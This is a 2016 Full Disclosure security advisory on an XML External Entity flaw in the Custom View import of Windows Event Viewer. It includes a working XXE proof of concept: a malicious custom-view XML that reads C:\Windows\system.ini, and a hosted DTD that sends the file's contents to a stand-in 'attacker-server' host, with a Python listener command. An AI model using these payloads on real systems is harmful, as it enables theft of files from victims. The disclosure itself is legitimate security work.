full-disclosure - [FD] Microsoft Event Viewer v1.0 XML External Entity

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Date: Sun, 4 Dec 2016 16:29:43 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Event Viewer v1.0 XML External Entity

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec

Vendor:
=================
www.microsoft.com

Product:
========================
Microsoft Event Viewer
Version: 1.0

The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.

Vulnerability Type:
===================
XML External Entity

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).

Tested Windows 7 SP1

Exploit code(s):
===============

1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.

User gets error like "The specified custom view is not valid" attacker gets
files!

"payload.dtd" (host on attacker server)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;

"MyCustomView.xml"  (malicious windows Event Custom View XML)

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

Attacker server listener

python -m SimpleHTTPServer 8080

Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

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prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx

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